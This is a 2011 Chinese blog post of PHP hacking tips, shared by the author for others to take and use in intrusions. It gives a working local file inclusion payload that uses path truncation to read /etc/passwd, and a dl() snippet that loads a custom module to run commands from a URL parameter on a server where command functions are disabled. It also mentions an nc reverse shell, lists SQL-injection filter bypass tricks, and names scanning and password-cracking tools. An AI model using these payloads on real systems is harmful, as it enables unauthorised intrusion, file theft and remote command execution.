PHP安全技巧小记

Author:LengF       Time:2011-06-24

最近做得一些测试,应到的一些技巧总结,方便自己学习。你觉得有用就捡走吧!

技巧一:PHP中的文件包含漏洞利用
遇到类似于下面类型包含
<?php
include ($_GET[p].".php");
?>

如果allow_url_include=On我就不说了,是OFF的话就是LFI了。那么有些人说这个除了利用源码系统的自身问题来包含可执行文件(在文章PHP安全之LFI漏洞GetShell大阅兵讲到的最后一种方法)。但是如果这个系统不是开源你并不知道具体怎么利用?或者是这个系统根本没有这种类型的利用方式?我想说的就是这种方式的文件读取技巧。假如上面代码保存成lfi.php那么我们可以这样方式来读取,我们以Linux下的/etc/passwd文件为例,我们可以通过下面代码:

lfi.php?p=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

这种方式后面的././后面的个数依赖于你的目标系统支持的路径的最大长度,可以自行验证来利用,通过这个可以做到你想读取包含什么文件格式都可以了。就不一定是php了。当然有些人会说你可以截断%00,没有,有时候可以,不过我也在另外一篇文章中提到php>=5.3.4中截断的bug已经修复了。我也正是遇到了无法截断才想到了这种思路。当然LFI还有其他的应用,具体请阅读PHP安全之LFI漏洞GETSHELL大阅兵。还有其他的方法也可以,比如,通过无数个/////只要个数大于文件路径的最大长度后面的就会被抛弃了。
技巧二:关于另类执行命令方法
这里技巧是关于php再禁用各种函数的情况下如何来执行命令方法。不过有时候比较鸡肋。朋友人间空气丢我一个shell,我看了一下,啥都干不了除了能修改自己web下的文件,我一下在有点傻了。不过朋友Tm3yShell7跟我说还有另外一种思路能够实现php执行命令,发我一个php函数dl(),呵呵,乐了一下(不懂装懂永是饭桶)赶紧baidu找资料。
利用这个的前提是php.ini中enable_d=on(在PHP5.2.5默认开启),那么我们就可以通过我们自定义的.so(linux)或者.dll(windows下)来执行命令了。因为很多默认的shell都是利用php的一些系统函数还执行命令的,比如最常见的system,exec,passthru,shell_exec,proc_open。至于是否被禁用,我们可以通过下面简单几句php代码来查看:

<?php
    function showdisablefunctions() {
            if ($disablefunc=@ini_get("disable_functions")){ return $disablefunc; }
            else { return "NULL"; }
     }
echo "Disabled Functions:".showdisablefunctions();                    
?>

这个函数会输出系统所有被禁用,如果输入NULL,那就思路更多了。为什么要先查看被禁用的php函数?因为它关系着我们so或者dll文件编写时候的应用技巧了。所以有时候往往需要根据不同环境编译除不懂的so或者dll模块来加载。那么如何执行和加载这个模块,我们看下在写一个动态加载的code(先上传你的so模块到这个文件的同一目录)

dl('php5.so');        // 这个编译好的模块名称
spiderbiguan($_GET['cmd'].' >/tmp/log.txt 2>&1'); // 这个导出函数的调用

这里我提供一个常用的,不过功能还不是很强。对于Linux下php的模块编程还在学习中,期待大家分享好用模块调用。(下载地址在最后)

至于如何编写so文件,我找一些参考资料放在参考文档中,当然了php官方的最好了。
利用这个方法,我实现了nc反弹回来(没使用前利用shell自带的无法执行,不过最关键还是依赖于perl的支持,利用的是nc.pl版)至于后面的溢出发现权限很BT,不过回头还得看看。
技巧三:绕过防注入思路
绕过防注入一直也是大家关注的话题。最常见的思路有
1.大小写混写
2.编码语句,利用php的函数
3./**/或者/*!*/
这个不准备总结,根据经验大家实验就知道了。多看看php的官方文档,不要忽略老bug。
技巧四:倒插门的信息收集
本来这个技巧不属于php的,适用于任何的渗透过程,所以是倒插门的。呵呵,Linux下安全检测工具比Window的工具会让不熟悉的Linux的朋友畏惧,可是你畏惧了,你是丧失了一大堆好工具了。我常用利用Linux的平台的几个小工具实现强大的信息收集:
1.nmap扫描
这个工具功能参数很多,我只提一个,也是我常用的,nmap -O ip 可以得到系统的类型和开放端口及对应的服务,收集这些主要为了后面检测提供一个更加广阔的思路,不至于由于忽略了某个漏洞导致渗透失败。
2.nikto检测
这款工具往往可以给你找出一些你手动很难找到的目录,他可以通过网络上多种方式的扫描,比wwwscan强,因为wwwscan是基于字典,而这款工具他会收罗网站中任意一个文档的文件,类似于蜘蛛,当然他不是简单的url遍历,还会查看文件的内容。同时,在进行一些已知漏洞扫描的时候更是强大,提供完整的漏洞文件编号,这样不会漏洞没一个可能的细节。结合我亲身的感受,我当时忽略了一个apache的远程溢出导致最后搞了半天,才后悔莫及。不过不幸的是这些漏洞参考资料都是EN的,需要大家去理解和利用漏洞,往往并不是想象的那么简单,有时候需要你自己对一些exp做写小改动(要求有编程功底)。
3.hydra和JTR的爆破
关于hydra我之前写过一个使用笔记http://www.81sec.com/read.php?83,我就不多说了。
JTR(Johnn the Ripper)的利用,对于一些HASH的爆破或者字典破解,关键在于效率。
另外我不得不提两个mysql的hash爆破工具,sqlc.exe和mysqlfast.exe 这两个效率相当不错。

结尾:
断断续续扯了很多,仅当笔记方便自己,分享与大家,有用你就捡走。个人的见识还是短浅,本文抛砖引玉,期待大家的分享深入的研究文章。

[参考文档]
【1】http://blog.163.com/chenzhenhua_007/blog/static/128492649201061731324244/
【2】http://blog.csdn.net/taft/archive/2006/02/10/596291.aspx
【3】http://www.hackbase.com/tech/2009-10-24/57290.html[重点详细看]

你可能感兴趣的:(linux,PHP,window,休闲,dl)